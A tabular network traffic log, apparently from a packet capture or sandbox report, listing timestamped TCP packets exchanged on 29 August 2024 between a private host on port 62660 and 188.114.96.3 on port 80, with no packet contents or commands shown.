Aug 29, 2024 12:14:40.527601957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527611971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527621031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527632952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527648926 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527666092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527687073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527698994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527708054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527719021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527728081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527729034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527740002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527744055 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527772903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527894974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527913094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527923107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527934074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527945042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527951956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527964115 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527987003 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547426939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547452927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547463894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547497988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547511101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547559977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547609091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547620058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547629118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547641039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547652960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547724962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547735929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547735929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547736883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547735929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547735929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547748089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547761917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547775030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547796011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547854900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547866106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547875881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547885895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547928095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547928095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.547976971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547988892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.547997952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548013926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548017025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548032045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548063040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548063040 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548083067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548125982 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548171997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548183918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548192978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548208952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548213959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548221111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548233032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548242092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548243999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548260927 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548286915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548365116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548376083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548386097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548396111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548408031 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548427105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548432112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548440933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548464060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548495054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548496962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548508883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548518896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548531055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548540115 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548566103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548588991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548655033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548666954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548676014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548696041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548722982 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548763990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548773050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548782110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548793077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548804045 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548804998 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548815966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548826933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.548835039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548855066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.548871994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.549063921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.549974918 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.615490913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615516901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615534067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615545988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615556002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615566969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615581036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615592003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615602016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615616083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.615617037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615636110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615648031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615658045 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615670919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615698099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.615731001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.615748882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615760088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615770102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615786076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615796089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615798950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.615808964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.615834951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.615849018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.615988970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.616008043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.616041899 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.616060019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.617290020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617301941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617311001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617341042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.617371082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.617389917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617400885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617412090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617423058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617434025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617436886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.617470980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.617819071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617851019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617861032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617901087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.617953062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617964029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617974043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.617985010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618000984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618017912 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618040085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618051052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618060112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618081093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618098021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618098021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618196011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618213892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618223906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618235111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618241072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618246078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618252039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618259907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618285894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618302107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618315935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618328094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618366957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618387938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618398905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618438959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618524075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618541002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618551970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618562937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618573904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618580103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618585110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618598938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618628979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618860960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618874073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618889093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618899107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618908882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618911028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618928909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618933916 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618941069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618949890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618952990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618964911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618976116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.618980885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.618987083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.619009972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.619028091 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638648987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638684034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638694048 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638705015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638715982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638737917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638747931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638757944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638767958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638778925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638789892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638798952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638816118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638825893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638859034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638859034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638859034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638859034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638859034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638859034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638870955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638884068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638886929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638886929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638894081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638906002 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638928890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.638961077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638972044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638982058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.638994932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639000893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639025927 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639077902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639089108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639111042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639112949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639122009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639137983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639138937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639156103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639163017 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639167070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639178991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639187098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639190912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639214993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639233112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639372110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639383078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639391899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639405012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639421940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639431953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639435053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639446020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639465094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639501095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639511108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639532089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639540911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639543056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639554024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639565945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639575005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639590025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639616013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639692068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639703989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639739037 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639755964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639765978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639775991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639786005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639801025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639813900 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639839888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639851093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639862061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.639883995 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.639898062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706352949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706371069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706458092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706470013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706480980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706552982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706569910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706582069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706592083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706598043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706598043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706628084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706628084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706634045 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706645966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706656933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706731081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706732988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706744909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706763983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706773043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706780910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706794024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706820965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706902981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706913948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706923962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706935883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706939936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706949949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706959963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706962109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.706970930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706983089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.706985950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.707003117 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.707026005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708239079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708250999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708261967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708287954 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708300114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708309889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708316088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708321095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708334923 CEST	80	62660	188.114.96.3	192.168.2.3
